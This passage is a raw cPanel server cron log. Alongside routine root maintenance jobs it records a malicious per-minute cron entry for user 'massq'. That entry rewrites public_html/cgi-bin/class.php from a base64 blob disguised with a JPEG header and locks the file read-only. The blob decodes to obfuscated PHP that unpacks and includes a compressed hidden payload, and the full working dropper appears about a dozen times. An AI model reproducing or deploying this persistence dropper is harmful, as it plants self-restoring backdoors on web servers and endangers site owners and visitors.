x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:11:01 server CROND[20542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:11:01 server CROND[20543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:11:01 server CROND[20544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:12:01 server CROND[20913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:12:01 server CROND[20914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:12:01 server CROND[20912]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 22:12:01 server CROND[20915]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:13:01 server CROND[21380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:13:01 server CROND[21381]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:13:01 server CROND[21382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:14:01 server CROND[21753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:14:01 server CROND[21754]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:14:01 server CROND[21755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:15:01 server CROND[22200]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 22:15:01 server CROND[22202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:15:01 server CROND[22206]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:15:01 server CROND[22209]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 22:15:01 server CROND[22205]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 22:15:01 server CROND[22207]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 22:15:01 server CROND[22204]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  6 22:15:01 server CROND[22208]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 22:15:01 server CROND[22210]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:16:01 server CROND[23243]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:16:01 server CROND[23245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:16:01 server CROND[23244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:17:01 server CROND[23621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:17:01 server CROND[23622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:17:01 server CROND[23623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:18:01 server CROND[24130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:18:01 server CROND[24131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:18:01 server CROND[24132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:19:01 server CROND[24511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:19:01 server CROND[24512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:19:01 server CROND[24513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:20:01 server CROND[24937]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 22:20:01 server CROND[24939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:20:01 server CROND[24948]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 22:20:01 server CROND[24949]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 22:20:01 server CROND[24950]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 22:20:01 server CROND[24952]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 22:20:01 server CROND[24955]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 22:20:01 server CROND[24951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:20:01 server CROND[24957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:21:01 server CROND[25782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:21:01 server CROND[25783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:21:01 server CROND[25784]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:22:01 server CROND[26170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
